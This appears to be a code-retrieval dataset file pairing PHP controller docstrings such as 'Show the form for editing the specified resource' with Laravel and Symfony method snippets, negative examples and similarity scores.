{\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit(Kota $kota) { return view('kota.edit', compact('kota')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78561044", "0.7695814", "0.72755414", "0.72429216", "0.71737534", "0.7064628", "0.7056257", "0.69859976", "0.6949863", "0.6948435", "0.6942811", "0.69298875", "0.69032556", "0.6900465", "0.6900465", "0.6880163", "0.6865618", "0.68620205", "0.6859499", "0.6847944", "0.6837563", "0.6812879", "0.68089813", "0.6808603", "0.68049484", "0.67966837", "0.6795056", "0.6795056", "0.67909557", "0.6787095", "0.67825735", "0.67783386", "0.6771208", "0.67658216", "0.67488056", "0.67488056", "0.67481846", "0.67474896", "0.67430425", "0.6737776", "0.67283165", "0.6715326", "0.66959506", "0.66939133", "0.6690822", "0.6690126", "0.66885006", "0.6687302", "0.6685716", "0.6672116", "0.6671334", "0.6667436", "0.6667436", "0.6664605", "0.6663487", "0.6662144", "0.6659632", "0.6658028", "0.66556853", "0.6645572", "0.66350394", "0.66338056", "0.6630717", "0.6630717", "0.66214246", "0.66212183", "0.661855", "0.6617633", "0.6612846", "0.66112465", "0.66079855", "0.65980226", "0.6597105", "0.6596064", "0.6593222", "0.65920717", "0.6589676", "0.6582856", "0.65828097", "0.6582112", "0.6578338", "0.65776545", "0.65774703", "0.6572131", "0.65708333", "0.65703875", "0.6569249", "0.6564464", "0.6564464", "0.65628386", "0.6560576", "0.6559898", "0.65583706", "0.6558308", "0.6557277", "0.65571105", "0.6557092", "0.6556115", "0.655001", "0.6549598", "0.6547666" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, Kota $kota) { $this->validate($request, [ 'nama_kota' => 'required' ]); $input = $request->all(); $kota->fill($input)->save(); return redirect('/kota')->with('success', 'Sukses memperbarui kota ' . $input['nama_kota'] . '.'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
